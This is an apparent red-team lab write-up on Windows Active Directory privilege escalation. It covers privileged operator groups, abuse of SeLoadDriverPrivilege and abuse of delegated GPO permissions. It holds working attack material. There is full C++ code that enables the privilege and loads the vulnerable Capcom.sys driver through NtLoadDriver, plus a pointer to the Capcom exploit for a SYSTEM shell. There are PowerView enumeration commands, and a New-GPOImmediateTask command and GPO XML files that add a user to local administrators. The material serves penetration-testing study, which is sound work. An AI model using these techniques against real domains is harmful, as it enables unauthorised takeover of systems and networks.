Powered By GitBook
Privileged Accounts and Token Privileges
Administrators, Domain Admins, Enterprise Admins are well known AD groups that allow for privilege escalation, that pentesters and red teamers will aim for in their engagements, but there are other account memberships and access token privileges that can also be useful during security assesments when chaining multiple attack vectors.

Account Operators

    Allows creating non administrator accounts and groups on the domain
    Allows logging in to the DC locally
Note the spotless' user membership:
However, we can still add new users:
As well as login to DC01 locally:

Server Operators

This membership allows users to configure Domain Controllers with the following privileges:
    Allow log on locally
    Back up files and directories
    Change the system time
    Change the time zone
    Force shutdown from a remote system
    Restore files and directories
    Shut down the system
Note how we cannot access files on the DC with current membership:
However, if the user belongs to Server Operators:
The story changes:

Backup Operators

As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators:

SeLoadDriverPrivilege

A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka NT\System. See how offense\spotless user has this privilege:
Whoami /priv shows the privilege is disabled by default:
However, the below code allows enabling that privilege fairly easily:
privileges.cpp
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <stdio.h>
4
5
int main()
6
{
7
TOKEN_PRIVILEGES tp;
8
LUID luid;
9
bool bEnablePrivilege(true);
10
HANDLE hToken(NULL);
11
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
12
13
if (!LookupPrivilegeValue(
14
NULL, // lookup privilege on local system
15
L"SeLoadDriverPrivilege", // privilege to lookup
16
&luid)) // receives LUID of privilege
17
{
18
printf("LookupPrivilegeValue error: %un", GetLastError());
19
return FALSE;
20
}
21
tp.PrivilegeCount = 1;
22
tp.Privileges[0].Luid = luid;
23
24
if (bEnablePrivilege) {
25
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26
}
27
28
// Enable the privilege or disable all privileges.
29
if (!AdjustTokenPrivileges(
30
hToken,
31
FALSE,
32
&tp,
33
sizeof(TOKEN_PRIVILEGES),
34
(PTOKEN_PRIVILEGES)NULL,
35
(PDWORD)NULL))
36
{
37
printf("AdjustTokenPrivileges error: %x", GetLastError());
38
return FALSE;
39
}
40
41
system("cmd");
42
return 0;
43
}
Copied!
We compile the above, execute and the privilege SeLoadDriverPrivilege is now enabled:

Capcom.sys Driver Exploit

To further prove the SeLoadDriverPrivilege is dangerous, let's exploit it to elevate privileges.
Let's build on the previous code and leverage the Win32 API call ntdll.NtLoadDriver() to load the malicious kernel driver Capcom.sys. Note that lines 55 and 56 of the privileges.cpp are:
1
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
2
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
Copied!
The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service) when executing the exploit:
privileges.cpp
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <stdio.h>
4
#include <ntsecapi.h>
5
#include <stdlib.h>
6
#include <locale.h>
7
#include <iostream>
8
#include "stdafx.h"
9
10
NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
11
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
12
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
13
14
int main()
15
{
16
TOKEN_PRIVILEGES tp;
17
LUID luid;
18
bool bEnablePrivilege(true);
19
HANDLE hToken(NULL);
20
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
21
22
if (!LookupPrivilegeValue(
23
NULL, // lookup privilege on local system
24
L"SeLoadDriverPrivilege", // privilege to lookup
25
&luid)) // receives LUID of privilege
26
{
27
printf("LookupPrivilegeValue error: %un", GetLastError());
28
return FALSE;
29
}
30
tp.PrivilegeCount = 1;
31
tp.Privileges[0].Luid = luid;
32
33
if (bEnablePrivilege) {
34
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
35
}
36
37
// Enable the privilege or disable all privileges.
38
if (!AdjustTokenPrivileges(
39
hToken,
40
FALSE,
41
&tp,
42
sizeof(TOKEN_PRIVILEGES),
43
(PTOKEN_PRIVILEGES)NULL,
44
(PDWORD)NULL))
45
{
46
printf("AdjustTokenPrivileges error: %x", GetLastError());
47
return FALSE;
48
}
49
50
//system("cmd");
51
// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
52
std::cout << "[+] Set Registry Keys" << std::endl;
53
NTSTATUS st1;
54
UNICODE_STRING pPath;
55
UNICODE_STRING pPathReg;
56
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
57
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
58
const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
59
HMODULE hObsolete = GetModuleHandleA(NTDLL);
60
*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
61
*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
62
*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
63
64
RtlInitUnicodeString(&pPath, pPathSource);
65
RtlInitUnicodeString(&pPathReg, pPathSourceReg);
66
st1 = NtLoadDriver(&pPathReg);
67
std::cout << "[+] value of st1: " << st1 << "\n";
68
if (st1 == ERROR_SUCCESS) {
69
std::cout << "[+] Driver Loaded as Kernel..\n";
70
std::cout << "[+] Press [ENTER] to unload driver\n";
71
}
72
73
getchar();
74
st1 = NtUnloadDriver(&pPathReg);
75
if (st1 == ERROR_SUCCESS) {
76
std::cout << "[+] Driver unloaded from Kernel..\n";
77
std::cout << "[+] Press [ENTER] to exit\n";
78
getchar();
79
}
80
81
return 0;
82
}
Copied!
Once the above code is compiled and executed, we can see that our malicious Capcom.sys driver gets loaded onto the victim system:
Capcom.sys
10KB
Text
Capcom.sys
We can now download and compile the Capcom exploit from https://github.com/tandasat/ExploitCapcom and execute it on the system to elevate our privileges to NT Authority\System:

GPO Delegation

Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with offense\spotless user:
We can see this by leveraging PowerView like so:
1
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
The below indicates that the user offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:
More about general AD ACL/ACE abuse refer to the lab:

Abusing the GPO Permissions

We know the above ObjectDN from the above screenshot is referring to the New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
1
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!

Computers with a Given Policy Applied

We can now resolve the computer names the GPO Misconfigured Policy is applied to:
1
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Copied!
ws01.offense.local has "Misconfigured Policy" applied to it

Policies Applied to a Given Computer

1
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
Copied!

OUs with a Given Policy Applied

1
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
Copied!

Abusing Weak GPO Permissions

One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
1
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
Copied!
The above will add our user spotless to the local administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:

Force Policy Update

ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with gpupdate /force and see that our user spotless now belongs to local administrators group:

Under the hood

If we observe the Scheduled Tasks of the Misconfigured Policy GPO, we can see our evilTask sitting there:
Below is the XML file that got created by New-GPOImmediateTask that represents our evil scheduled task in the GPO:
\\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
1
<?xml version="1.0" encoding="utf-8"?>
2
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
3
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
4
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
5
<Task version="1.3">
6
<RegistrationInfo>
7
<Author>NT AUTHORITY\System</Author>
8
<Description></Description>
9
</RegistrationInfo>
10
<Principals>
11
<Principal id="Author">
12
<UserId>NT AUTHORITY\System</UserId>
13
<RunLevel>HighestAvailable</RunLevel>
14
<LogonType>S4U</LogonType>
15
</Principal>
16
</Principals>
17
<Settings>
18
<IdleSettings>
19
<Duration>PT10M</Duration>
20
<WaitTimeout>PT1H</WaitTimeout>
21
<StopOnIdleEnd>true</StopOnIdleEnd>
22
<RestartOnIdle>false</RestartOnIdle>
23
</IdleSettings>
24
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
25
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
26
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
27
<AllowHardTerminate>false</AllowHardTerminate>
28
<StartWhenAvailable>true</StartWhenAvailable>
29
<AllowStartOnDemand>false</AllowStartOnDemand>
30
<Enabled>true</Enabled>
31
<Hidden>true</Hidden>
32
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
33
<Priority>7</Priority>
34
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
35
<RestartOnFailure>
36
<Interval>PT15M</Interval>
37
<Count>3</Count>
38
</RestartOnFailure>
39
</Settings>
40
<Actions Context="Author">
41
<Exec>
42
<Command>cmd</Command>
43
<Arguments>/c net localgroup administrators spotless /add</Arguments>
44
</Exec>
45
</Actions>
46
<Triggers>
47
<TimeTrigger>
48
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
49
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
50
<Enabled>true</Enabled>
51
</TimeTrigger>
52
</Triggers>
53
</Task>
54
</Properties>
55
</ImmediateTaskV2>
56
</ScheduledTasks>
Copied!

Users and Groups

The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user spotless is added to the local administrators group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:
\\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups
1
<?xml version="1.0" encoding="utf-8"?>
2
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
3
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
4
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
5
<Members>
6
<Member name="spotless" action="ADD" sid="" />
7
</Members>
8
</Properties>
9
</Group>
10
</Groups>
Copied!
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

References

Appendix B - Privileged Accounts and Groups in Active Directory
docsmsft
Enabling and Disabling Privileges in C++ - Win32 apps
docsmsft
Scanning for Active Directory Privileges & Privileged Accounts
Active Directory Security
Abusing GPO Permissions - harmj0y
harmj0y
Abusing SeLoadDriverPrivilege for privilege escalation
Tarlogic Security - Cyber Security and Ethical hacking
https://rastamouse.me/2019/01/gpo-abuse-part-1/
rastamouse.me
HotLoad-Driver/ntloaddriver.cpp at master · killswitch-GUI/HotLoad-Driver
GitHub
GitHub - tandasat/ExploitCapcom: This is a standalone exploit for a vulnerable feature in Capcom.sys
GitHub
EoPLoadDriver/eoploaddriver.cpp at master · TarlogicSecurity/EoPLoadDriver
GitHub
Capcom-Rootkit/Capcom.sys at master · FuzzySecurity/Capcom-Rootkit
GitHub
https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
posts.specterops.io
Last modified 2yr ago